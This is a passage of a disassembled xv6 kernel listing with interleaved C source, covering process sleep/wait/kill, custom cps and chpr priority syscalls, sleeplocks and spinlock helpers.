80103e80 <sleep>:
{
80103e80: 55 push %ebp
80103e81: 89 e5 mov %esp,%ebp
80103e83: 57 push %edi
80103e84: 56 push %esi
80103e85: 53 push %ebx
80103e86: 83 ec 0c sub $0xc,%esp
80103e89: 8b 7d 08 mov 0x8(%ebp),%edi
80103e8c: 8b 75 0c mov 0xc(%ebp),%esi
pushcli();
80103e8f: e8 fc 05 00 00 call 80104490 <pushcli>
c = mycpu();
80103e94: e8 97 f9 ff ff call 80103830 <mycpu>
p = c->proc;
80103e99: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103e9f: e8 2c 06 00 00 call 801044d0 <popcli>
if(p == 0)
80103ea4: 85 db test %ebx,%ebx
80103ea6: 0f 84 87 00 00 00 je 80103f33 <sleep+0xb3>
if(lk == 0)
80103eac: 85 f6 test %esi,%esi
80103eae: 74 76 je 80103f26 <sleep+0xa6>
if(lk != &ptable.lock){ //DOC: sleeplock0
80103eb0: 81 fe 20 29 11 80 cmp $0x80112920,%esi
80103eb6: 74 50 je 80103f08 <sleep+0x88>
acquire(&ptable.lock); //DOC: sleeplock1
80103eb8: 83 ec 0c sub $0xc,%esp
80103ebb: 68 20 29 11 80 push $0x80112920
80103ec0: e8 9b 06 00 00 call 80104560 <acquire>
release(lk);
80103ec5: 89 34 24 mov %esi,(%esp)
80103ec8: e8 53 07 00 00 call 80104620 <release>
p->chan = chan;
80103ecd: 89 7b 20 mov %edi,0x20(%ebx)
p->state = SLEEPING;
80103ed0: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx)
sched();
80103ed7: e8 64 fd ff ff call 80103c40 <sched>
p->chan = 0;
80103edc: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
release(&ptable.lock);
80103ee3: c7 04 24 20 29 11 80 movl $0x80112920,(%esp)
80103eea: e8 31 07 00 00 call 80104620 <release>
acquire(lk);
80103eef: 89 75 08 mov %esi,0x8(%ebp)
80103ef2: 83 c4 10 add $0x10,%esp
}
80103ef5: 8d 65 f4 lea -0xc(%ebp),%esp
80103ef8: 5b pop %ebx
80103ef9: 5e pop %esi
80103efa: 5f pop %edi
80103efb: 5d pop %ebp
acquire(lk);
80103efc: e9 5f 06 00 00 jmp 80104560 <acquire>
80103f01: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
p->chan = chan;
80103f08: 89 7b 20 mov %edi,0x20(%ebx)
p->state = SLEEPING;
80103f0b: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx)
sched();
80103f12: e8 29 fd ff ff call 80103c40 <sched>
p->chan = 0;
80103f17: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
}
80103f1e: 8d 65 f4 lea -0xc(%ebp),%esp
80103f21: 5b pop %ebx
80103f22: 5e pop %esi
80103f23: 5f pop %edi
80103f24: 5d pop %ebp
80103f25: c3 ret
panic("sleep without lk");
80103f26: 83 ec 0c sub $0xc,%esp
80103f29: 68 6f 79 10 80 push $0x8010796f
80103f2e: e8 5d c4 ff ff call 80100390 <panic>
panic("sleep");
80103f33: 83 ec 0c sub $0xc,%esp
80103f36: 68 69 79 10 80 push $0x80107969
80103f3b: e8 50 c4 ff ff call 80100390 <panic>
80103f40 <wait>:
{
80103f40: 55 push %ebp
80103f41: 89 e5 mov %esp,%ebp
80103f43: 56 push %esi
80103f44: 53 push %ebx
pushcli();
80103f45: e8 46 05 00 00 call 80104490 <pushcli>
c = mycpu();
80103f4a: e8 e1 f8 ff ff call 80103830 <mycpu>
p = c->proc;
80103f4f: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi
popcli();
80103f55: e8 76 05 00 00 call 801044d0 <popcli>
acquire(&ptable.lock);
80103f5a: 83 ec 0c sub $0xc,%esp
80103f5d: 68 20 29 11 80 push $0x80112920
80103f62: e8 f9 05 00 00 call 80104560 <acquire>
80103f67: 83 c4 10 add $0x10,%esp
havekids = 0;
80103f6a: 31 c0 xor %eax,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103f6c: bb 54 29 11 80 mov $0x80112954,%ebx
80103f71: eb 10 jmp 80103f83 <wait+0x43>
80103f73: 90 nop
80103f74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103f78: 83 eb 80 sub $0xffffff80,%ebx
80103f7b: 81 fb 54 49 11 80 cmp $0x80114954,%ebx
80103f81: 73 1b jae 80103f9e <wait+0x5e>
if(p->parent != curproc)
80103f83: 39 73 14 cmp %esi,0x14(%ebx)
80103f86: 75 f0 jne 80103f78 <wait+0x38>
if(p->state == ZOMBIE){
80103f88: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
80103f8c: 74 32 je 80103fc0 <wait+0x80>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103f8e: 83 eb 80 sub $0xffffff80,%ebx
havekids = 1;
80103f91: b8 01 00 00 00 mov $0x1,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103f96: 81 fb 54 49 11 80 cmp $0x80114954,%ebx
80103f9c: 72 e5 jb 80103f83 <wait+0x43>
if(!havekids || curproc->killed){
80103f9e: 85 c0 test %eax,%eax
80103fa0: 74 74 je 80104016 <wait+0xd6>
80103fa2: 8b 46 24 mov 0x24(%esi),%eax
80103fa5: 85 c0 test %eax,%eax
80103fa7: 75 6d jne 80104016 <wait+0xd6>
sleep(curproc, &ptable.lock); //DOC: wait-sleep
80103fa9: 83 ec 08 sub $0x8,%esp
80103fac: 68 20 29 11 80 push $0x80112920
80103fb1: 56 push %esi
80103fb2: e8 c9 fe ff ff call 80103e80 <sleep>
havekids = 0;
80103fb7: 83 c4 10 add $0x10,%esp
80103fba: eb ae jmp 80103f6a <wait+0x2a>
80103fbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
kfree(p->kstack);
80103fc0: 83 ec 0c sub $0xc,%esp
80103fc3: ff 73 08 pushl 0x8(%ebx)
pid = p->pid;
80103fc6: 8b 73 10 mov 0x10(%ebx),%esi
kfree(p->kstack);
80103fc9: e8 42 e3 ff ff call 80102310 <kfree>
freevm(p->pgdir);
80103fce: 5a pop %edx
80103fcf: ff 73 04 pushl 0x4(%ebx)
p->kstack = 0;
80103fd2: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
freevm(p->pgdir);
80103fd9: e8 52 30 00 00 call 80107030 <freevm>
release(&ptable.lock);
80103fde: c7 04 24 20 29 11 80 movl $0x80112920,(%esp)
p->pid = 0;
80103fe5: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
p->parent = 0;
80103fec: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
p->name[0] = 0;
80103ff3: c6 43 6c 00 movb $0x0,0x6c(%ebx)
p->killed = 0;
80103ff7: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
p->state = UNUSED;
80103ffe: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
release(&ptable.lock);
80104005: e8 16 06 00 00 call 80104620 <release>
return pid;
8010400a: 83 c4 10 add $0x10,%esp
}
8010400d: 8d 65 f8 lea -0x8(%ebp),%esp
80104010: 89 f0 mov %esi,%eax
80104012: 5b pop %ebx
80104013: 5e pop %esi
80104014: 5d pop %ebp
80104015: c3 ret
release(&ptable.lock);
80104016: 83 ec 0c sub $0xc,%esp
return -1;
80104019: be ff ff ff ff mov $0xffffffff,%esi
release(&ptable.lock);
8010401e: 68 20 29 11 80 push $0x80112920
80104023: e8 f8 05 00 00 call 80104620 <release>
return -1;
80104028: 83 c4 10 add $0x10,%esp
8010402b: eb e0 jmp 8010400d <wait+0xcd>
8010402d: 8d 76 00 lea 0x0(%esi),%esi
80104030 <wakeup>:
}
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
80104030: 55 push %ebp
80104031: 89 e5 mov %esp,%ebp
80104033: 53 push %ebx
80104034: 83 ec 10 sub $0x10,%esp
80104037: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ptable.lock);
8010403a: 68 20 29 11 80 push $0x80112920
8010403f: e8 1c 05 00 00 call 80104560 <acquire>
80104044: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80104047: b8 54 29 11 80 mov $0x80112954,%eax
8010404c: eb 0c jmp 8010405a <wakeup+0x2a>
8010404e: 66 90 xchg %ax,%ax
80104050: 83 e8 80 sub $0xffffff80,%eax
80104053: 3d 54 49 11 80 cmp $0x80114954,%eax
80104058: 73 1c jae 80104076 <wakeup+0x46>
if(p->state == SLEEPING && p->chan == chan)
8010405a: 83 78 0c 02 cmpl $0x2,0xc(%eax)
8010405e: 75 f0 jne 80104050 <wakeup+0x20>
80104060: 3b 58 20 cmp 0x20(%eax),%ebx
80104063: 75 eb jne 80104050 <wakeup+0x20>
p->state = RUNNABLE;
80104065: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
8010406c: 83 e8 80 sub $0xffffff80,%eax
8010406f: 3d 54 49 11 80 cmp $0x80114954,%eax
80104074: 72 e4 jb 8010405a <wakeup+0x2a>
wakeup1(chan);
release(&ptable.lock);
80104076: c7 45 08 20 29 11 80 movl $0x80112920,0x8(%ebp)
}
8010407d: 8b 5d fc mov -0x4(%ebp),%ebx
80104080: c9 leave
release(&ptable.lock);
80104081: e9 9a 05 00 00 jmp 80104620 <release>
80104086: 8d 76 00 lea 0x0(%esi),%esi
80104089: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104090 <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
80104090: 55 push %ebp
80104091: 89 e5 mov %esp,%ebp
80104093: 53 push %ebx
80104094: 83 ec 10 sub $0x10,%esp
80104097: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
8010409a: 68 20 29 11 80 push $0x80112920
8010409f: e8 bc 04 00 00 call 80104560 <acquire>
801040a4: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801040a7: b8 54 29 11 80 mov $0x80112954,%eax
801040ac: eb 0c jmp 801040ba <kill+0x2a>
801040ae: 66 90 xchg %ax,%ax
801040b0: 83 e8 80 sub $0xffffff80,%eax
801040b3: 3d 54 49 11 80 cmp $0x80114954,%eax
801040b8: 73 36 jae 801040f0 <kill+0x60>
if(p->pid == pid){
801040ba: 39 58 10 cmp %ebx,0x10(%eax)
801040bd: 75 f1 jne 801040b0 <kill+0x20>
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
801040bf: 83 78 0c 02 cmpl $0x2,0xc(%eax)
p->killed = 1;
801040c3: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
if(p->state == SLEEPING)
801040ca: 75 07 jne 801040d3 <kill+0x43>
p->state = RUNNABLE;
801040cc: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
801040d3: 83 ec 0c sub $0xc,%esp
801040d6: 68 20 29 11 80 push $0x80112920
801040db: e8 40 05 00 00 call 80104620 <release>
return 0;
801040e0: 83 c4 10 add $0x10,%esp
801040e3: 31 c0 xor %eax,%eax
}
}
release(&ptable.lock);
return -1;
}
801040e5: 8b 5d fc mov -0x4(%ebp),%ebx
801040e8: c9 leave
801040e9: c3 ret
801040ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
release(&ptable.lock);
801040f0: 83 ec 0c sub $0xc,%esp
801040f3: 68 20 29 11 80 push $0x80112920
801040f8: e8 23 05 00 00 call 80104620 <release>
return -1;
801040fd: 83 c4 10 add $0x10,%esp
80104100: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104105: 8b 5d fc mov -0x4(%ebp),%ebx
80104108: c9 leave
80104109: c3 ret
8010410a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104110 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80104110: 55 push %ebp
80104111: 89 e5 mov %esp,%ebp
80104113: 57 push %edi
80104114: 56 push %esi
80104115: 53 push %ebx
80104116: 8d 75 e8 lea -0x18(%ebp),%esi
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104119: bb 54 29 11 80 mov $0x80112954,%ebx
{
8010411e: 83 ec 3c sub $0x3c,%esp
80104121: eb 24 jmp 80104147 <procdump+0x37>
80104123: 90 nop
80104124: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
80104128: 83 ec 0c sub $0xc,%esp
8010412b: 68 ed 75 10 80 push $0x801075ed
80104130: e8 2b c5 ff ff call 80100660 <cprintf>
80104135: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104138: 83 eb 80 sub $0xffffff80,%ebx
8010413b: 81 fb 54 49 11 80 cmp $0x80114954,%ebx
80104141: 0f 83 81 00 00 00 jae 801041c8 <procdump+0xb8>
if(p->state == UNUSED)
80104147: 8b 43 0c mov 0xc(%ebx),%eax
8010414a: 85 c0 test %eax,%eax
8010414c: 74 ea je 80104138 <procdump+0x28>
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
8010414e: 83 f8 05 cmp $0x5,%eax
state = "???";
80104151: ba 80 79 10 80 mov $0x80107980,%edx
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80104156: 77 11 ja 80104169 <procdump+0x59>
80104158: 8b 14 85 50 7a 10 80 mov -0x7fef85b0(,%eax,4),%edx
state = "???";
8010415f: b8 80 79 10 80 mov $0x80107980,%eax
80104164: 85 d2 test %edx,%edx
80104166: 0f 44 d0 cmove %eax,%edx
cprintf("%d %s %s", p->pid, state, p->name);
80104169: 8d 43 6c lea 0x6c(%ebx),%eax
8010416c: 50 push %eax
8010416d: 52 push %edx
8010416e: ff 73 10 pushl 0x10(%ebx)
80104171: 68 84 79 10 80 push $0x80107984
80104176: e8 e5 c4 ff ff call 80100660 <cprintf>
if(p->state == SLEEPING){
8010417b: 83 c4 10 add $0x10,%esp
8010417e: 83 7b 0c 02 cmpl $0x2,0xc(%ebx)
80104182: 75 a4 jne 80104128 <procdump+0x18>
getcallerpcs((uint*)p->context->ebp+2, pc);
80104184: 8d 45 c0 lea -0x40(%ebp),%eax
80104187: 83 ec 08 sub $0x8,%esp
8010418a: 8d 7d c0 lea -0x40(%ebp),%edi
8010418d: 50 push %eax
8010418e: 8b 43 1c mov 0x1c(%ebx),%eax
80104191: 8b 40 0c mov 0xc(%eax),%eax
80104194: 83 c0 08 add $0x8,%eax
80104197: 50 push %eax
80104198: e8 a3 02 00 00 call 80104440 <getcallerpcs>
8010419d: 83 c4 10 add $0x10,%esp
for(i=0; i<10 && pc[i] != 0; i++)
801041a0: 8b 17 mov (%edi),%edx
801041a2: 85 d2 test %edx,%edx
801041a4: 74 82 je 80104128 <procdump+0x18>
cprintf(" %p", pc[i]);
801041a6: 83 ec 08 sub $0x8,%esp
801041a9: 83 c7 04 add $0x4,%edi
801041ac: 52 push %edx
801041ad: 68 a1 73 10 80 push $0x801073a1
801041b2: e8 a9 c4 ff ff call 80100660 <cprintf>
for(i=0; i<10 && pc[i] != 0; i++)
801041b7: 83 c4 10 add $0x10,%esp
801041ba: 39 fe cmp %edi,%esi
801041bc: 75 e2 jne 801041a0 <procdump+0x90>
801041be: e9 65 ff ff ff jmp 80104128 <procdump+0x18>
801041c3: 90 nop
801041c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
}
801041c8: 8d 65 f4 lea -0xc(%ebp),%esp
801041cb: 5b pop %ebx
801041cc: 5e pop %esi
801041cd: 5f pop %edi
801041ce: 5d pop %ebp
801041cf: c3 ret
801041d0 <cps>:
int
cps(void)
{
801041d0: 55 push %ebp
801041d1: 89 e5 mov %esp,%ebp
801041d3: 53 push %ebx
801041d4: 83 ec 10 sub $0x10,%esp
asm volatile("sti");
801041d7: fb sti
struct proc *p;
sti();
acquire(&ptable.lock);
801041d8: 68 20 29 11 80 push $0x80112920
cprintf("name \t pid \t state \t \t priority\n");
for(p=ptable.proc; p < &ptable.proc[NPROC]; p++){
801041dd: bb 54 29 11 80 mov $0x80112954,%ebx
acquire(&ptable.lock);
801041e2: e8 79 03 00 00 call 80104560 <acquire>
cprintf("name \t pid \t state \t \t priority\n");
801041e7: c7 04 24 2c 7a 10 80 movl $0x80107a2c,(%esp)
801041ee: e8 6d c4 ff ff call 80100660 <cprintf>
801041f3: 83 c4 10 add $0x10,%esp
801041f6: eb 1d jmp 80104215 <cps+0x45>
801041f8: 90 nop
801041f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p->state == SLEEPING)
cprintf("%s \t %d \t SLEEPING \t %d\n", p->name, p->pid, p->priority);
else if(p->state == RUNNING)
80104200: 83 f8 04 cmp $0x4,%eax
80104203: 74 5b je 80104260 <cps+0x90>
cprintf("%s \t %d \t RUNNING \t %d\n", p->name, p->pid, p->priority);
else if(p->state == RUNNABLE)
80104205: 83 f8 03 cmp $0x3,%eax
80104208: 74 76 je 80104280 <cps+0xb0>
for(p=ptable.proc; p < &ptable.proc[NPROC]; p++){
8010420a: 83 eb 80 sub $0xffffff80,%ebx
8010420d: 81 fb 54 49 11 80 cmp $0x80114954,%ebx
80104213: 73 2a jae 8010423f <cps+0x6f>
if(p->state == SLEEPING)
80104215: 8b 43 0c mov 0xc(%ebx),%eax
80104218: 83 f8 02 cmp $0x2,%eax
8010421b: 75 e3 jne 80104200 <cps+0x30>
cprintf("%s \t %d \t SLEEPING \t %d\n", p->name, p->pid, p->priority);
8010421d: 8d 43 6c lea 0x6c(%ebx),%eax
80104220: ff 73 7c pushl 0x7c(%ebx)
80104223: ff 73 10 pushl 0x10(%ebx)
for(p=ptable.proc; p < &ptable.proc[NPROC]; p++){
80104226: 83 eb 80 sub $0xffffff80,%ebx
cprintf("%s \t %d \t SLEEPING \t %d\n", p->name, p->pid, p->priority);
80104229: 50 push %eax
8010422a: 68 8d 79 10 80 push $0x8010798d
8010422f: e8 2c c4 ff ff call 80100660 <cprintf>
80104234: 83 c4 10 add $0x10,%esp
for(p=ptable.proc; p < &ptable.proc[NPROC]; p++){
80104237: 81 fb 54 49 11 80 cmp $0x80114954,%ebx
8010423d: 72 d6 jb 80104215 <cps+0x45>
cprintf("%s \t %d \t RUNNABLE \t %d\n", p->name, p->pid, p->priority);
}
release(&ptable.lock);
8010423f: 83 ec 0c sub $0xc,%esp
80104242: 68 20 29 11 80 push $0x80112920
80104247: e8 d4 03 00 00 call 80104620 <release>
return 22;
}
8010424c: b8 16 00 00 00 mov $0x16,%eax
80104251: 8b 5d fc mov -0x4(%ebp),%ebx
80104254: c9 leave
80104255: c3 ret
80104256: 8d 76 00 lea 0x0(%esi),%esi
80104259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
cprintf("%s \t %d \t RUNNING \t %d\n", p->name, p->pid, p->priority);
80104260: 8d 43 6c lea 0x6c(%ebx),%eax
80104263: ff 73 7c pushl 0x7c(%ebx)
80104266: ff 73 10 pushl 0x10(%ebx)
80104269: 50 push %eax
8010426a: 68 a6 79 10 80 push $0x801079a6
8010426f: e8 ec c3 ff ff call 80100660 <cprintf>
80104274: 83 c4 10 add $0x10,%esp
80104277: eb 91 jmp 8010420a <cps+0x3a>
80104279: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
cprintf("%s \t %d \t RUNNABLE \t %d\n", p->name, p->pid, p->priority);
80104280: 8d 43 6c lea 0x6c(%ebx),%eax
80104283: ff 73 7c pushl 0x7c(%ebx)
80104286: ff 73 10 pushl 0x10(%ebx)
80104289: 50 push %eax
8010428a: 68 bf 79 10 80 push $0x801079bf
8010428f: e8 cc c3 ff ff call 80100660 <cprintf>
80104294: 83 c4 10 add $0x10,%esp
80104297: e9 6e ff ff ff jmp 8010420a <cps+0x3a>
8010429c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801042a0 <chpr>:
int
chpr(int pid, int priority){
801042a0: 55 push %ebp
801042a1: 89 e5 mov %esp,%ebp
801042a3: 53 push %ebx
801042a4: 83 ec 10 sub $0x10,%esp
801042a7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
801042aa: 68 20 29 11 80 push $0x80112920
801042af: e8 ac 02 00 00 call 80104560 <acquire>
801042b4: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801042b7: ba 54 29 11 80 mov $0x80112954,%edx
801042bc: eb 0d jmp 801042cb <chpr+0x2b>
801042be: 66 90 xchg %ax,%ax
801042c0: 83 ea 80 sub $0xffffff80,%edx
801042c3: 81 fa 54 49 11 80 cmp $0x80114954,%edx
801042c9: 73 0b jae 801042d6 <chpr+0x36>
if(p->pid==pid) {
801042cb: 39 5a 10 cmp %ebx,0x10(%edx)
801042ce: 75 f0 jne 801042c0 <chpr+0x20>
p -> priority = priority;
801042d0: 8b 45 0c mov 0xc(%ebp),%eax
801042d3: 89 42 7c mov %eax,0x7c(%edx)
break;
}
}
release(&ptable.lock);
801042d6: 83 ec 0c sub $0xc,%esp
801042d9: 68 20 29 11 80 push $0x80112920
801042de: e8 3d 03 00 00 call 80104620 <release>
return pid;
}
801042e3: 89 d8 mov %ebx,%eax
801042e5: 8b 5d fc mov -0x4(%ebp),%ebx
801042e8: c9 leave
801042e9: c3 ret
801042ea: 66 90 xchg %ax,%ax
801042ec: 66 90 xchg %ax,%ax
801042ee: 66 90 xchg %ax,%ax
801042f0 <initsleeplock>:
#include "spinlock.h"
#include "sleeplock.h"
void
initsleeplock(struct sleeplock *lk, char *name)
{
801042f0: 55 push %ebp
801042f1: 89 e5 mov %esp,%ebp
801042f3: 53 push %ebx
801042f4: 83 ec 0c sub $0xc,%esp
801042f7: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&lk->lk, "sleep lock");
801042fa: 68 68 7a 10 80 push $0x80107a68
801042ff: 8d 43 04 lea 0x4(%ebx),%eax
80104302: 50 push %eax
80104303: e8 18 01 00 00 call 80104420 <initlock>
lk->name = name;
80104308: 8b 45 0c mov 0xc(%ebp),%eax
lk->locked = 0;
8010430b: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
}
80104311: 83 c4 10 add $0x10,%esp
lk->pid = 0;
80104314: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
lk->name = name;
8010431b: 89 43 38 mov %eax,0x38(%ebx)
}
8010431e: 8b 5d fc mov -0x4(%ebp),%ebx
80104321: c9 leave
80104322: c3 ret
80104323: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104329: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104330 <acquiresleep>:
void
acquiresleep(struct sleeplock *lk)
{
80104330: 55 push %ebp
80104331: 89 e5 mov %esp,%ebp
80104333: 56 push %esi
80104334: 53 push %ebx
80104335: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80104338: 83 ec 0c sub $0xc,%esp
8010433b: 8d 73 04 lea 0x4(%ebx),%esi
8010433e: 56 push %esi
8010433f: e8 1c 02 00 00 call 80104560 <acquire>
while (lk->locked) {
80104344: 8b 13 mov (%ebx),%edx
80104346: 83 c4 10 add $0x10,%esp
80104349: 85 d2 test %edx,%edx
8010434b: 74 16 je 80104363 <acquiresleep+0x33>
8010434d: 8d 76 00 lea 0x0(%esi),%esi
sleep(lk, &lk->lk);
80104350: 83 ec 08 sub $0x8,%esp
80104353: 56 push %esi
80104354: 53 push %ebx
80104355: e8 26 fb ff ff call 80103e80 <sleep>
while (lk->locked) {
8010435a: 8b 03 mov (%ebx),%eax
8010435c: 83 c4 10 add $0x10,%esp
8010435f: 85 c0 test %eax,%eax
80104361: 75 ed jne 80104350 <acquiresleep+0x20>
}
lk->locked = 1;
80104363: c7 03 01 00 00 00 movl $0x1,(%ebx)
lk->pid = myproc()->pid;
80104369: e8 52 f5 ff ff call 801038c0 <myproc>
8010436e: 8b 40 10 mov 0x10(%eax),%eax
80104371: 89 43 3c mov %eax,0x3c(%ebx)
release(&lk->lk);
80104374: 89 75 08 mov %esi,0x8(%ebp)
}
80104377: 8d 65 f8 lea -0x8(%ebp),%esp
8010437a: 5b pop %ebx
8010437b: 5e pop %esi
8010437c: 5d pop %ebp
release(&lk->lk);
8010437d: e9 9e 02 00 00 jmp 80104620 <release>
80104382: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104390 <releasesleep>:
void
releasesleep(struct sleeplock *lk)
{
80104390: 55 push %ebp
80104391: 89 e5 mov %esp,%ebp
80104393: 56 push %esi
80104394: 53 push %ebx
80104395: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80104398: 83 ec 0c sub $0xc,%esp
8010439b: 8d 73 04 lea 0x4(%ebx),%esi
8010439e: 56 push %esi
8010439f: e8 bc 01 00 00 call 80104560 <acquire>
lk->locked = 0;
801043a4: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
801043aa: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
wakeup(lk);
801043b1: 89 1c 24 mov %ebx,(%esp)
801043b4: e8 77 fc ff ff call 80104030 <wakeup>
release(&lk->lk);
801043b9: 89 75 08 mov %esi,0x8(%ebp)
801043bc: 83 c4 10 add $0x10,%esp
}
801043bf: 8d 65 f8 lea -0x8(%ebp),%esp
801043c2: 5b pop %ebx
801043c3: 5e pop %esi
801043c4: 5d pop %ebp
release(&lk->lk);
801043c5: e9 56 02 00 00 jmp 80104620 <release>
801043ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801043d0 <holdingsleep>:
int
holdingsleep(struct sleeplock *lk)
{
801043d0: 55 push %ebp
801043d1: 89 e5 mov %esp,%ebp
801043d3: 57 push %edi
801043d4: 56 push %esi
801043d5: 53 push %ebx
801043d6: 31 ff xor %edi,%edi
801043d8: 83 ec 18 sub $0x18,%esp
801043db: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
acquire(&lk->lk);
801043de: 8d 73 04 lea 0x4(%ebx),%esi
801043e1: 56 push %esi
801043e2: e8 79 01 00 00 call 80104560 <acquire>
r = lk->locked && (lk->pid == myproc()->pid);
801043e7: 8b 03 mov (%ebx),%eax
801043e9: 83 c4 10 add $0x10,%esp
801043ec: 85 c0 test %eax,%eax
801043ee: 74 13 je 80104403 <holdingsleep+0x33>
801043f0: 8b 5b 3c mov 0x3c(%ebx),%ebx
801043f3: e8 c8 f4 ff ff call 801038c0 <myproc>
801043f8: 39 58 10 cmp %ebx,0x10(%eax)
801043fb: 0f 94 c0 sete %al
801043fe: 0f b6 c0 movzbl %al,%eax
80104401: 89 c7 mov %eax,%edi
release(&lk->lk);
80104403: 83 ec 0c sub $0xc,%esp
80104406: 56 push %esi
80104407: e8 14 02 00 00 call 80104620 <release>
return r;
}
8010440c: 8d 65 f4 lea -0xc(%ebp),%esp
8010440f: 89 f8 mov %edi,%eax
80104411: 5b pop %ebx
80104412: 5e pop %esi
80104413: 5f pop %edi
80104414: 5d pop %ebp
80104415: c3 ret
80104416: 66 90 xchg %ax,%ax
80104418: 66 90 xchg %ax,%ax
8010441a: 66 90 xchg %ax,%ax
8010441c: 66 90 xchg %ax,%ax
8010441e: 66 90 xchg %ax,%ax
80104420 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
80104420: 55 push %ebp
80104421: 89 e5 mov %esp,%ebp
80104423: 8b 45 08 mov 0x8(%ebp),%eax
lk->name = name;
80104426: 8b 55 0c mov 0xc(%ebp),%edx
lk->locked = 0;
80104429: c7 00 00 00 00 00 movl $0x0,(%eax)
lk->name = name;
8010442f: 89 50 04 mov %edx,0x4(%eax)
lk->cpu = 0;
80104432: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80104439: 5d pop %ebp
8010443a: c3 ret
8010443b: 90 nop
8010443c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104440 <getcallerpcs>:
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104440: 55 push %ebp
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104441: 31 d2 xor %edx,%edx
{
80104443: 89 e5 mov %esp,%ebp
80104445: 53 push %ebx
ebp = (uint*)v - 2;
80104446: 8b 45 08 mov 0x8(%ebp),%eax
{
80104449: 8b 4d 0c mov 0xc(%ebp),%ecx
ebp = (uint*)v - 2;
8010444c: 83 e8 08 sub $0x8,%eax
8010444f: 90 nop
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80104450: 8d 98 00 00 00 80 lea -0x80000000(%eax),%ebx
80104456: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
8010445c: 77 1a ja 80104478 <getcallerpcs+0x38>
break;
pcs[i] = ebp[1]; // saved %eip
8010445e: 8b 58 04 mov 0x4(%eax),%ebx
80104461: 89 1c 91 mov %ebx,(%ecx,%edx,4)
for(i = 0; i < 10; i++){
80104464: 83 c2 01 add $0x1,%edx
ebp = (uint*)ebp[0]; // saved %ebp
80104467: 8b 00 mov (%eax),%eax
for(i = 0; i < 10; i++){
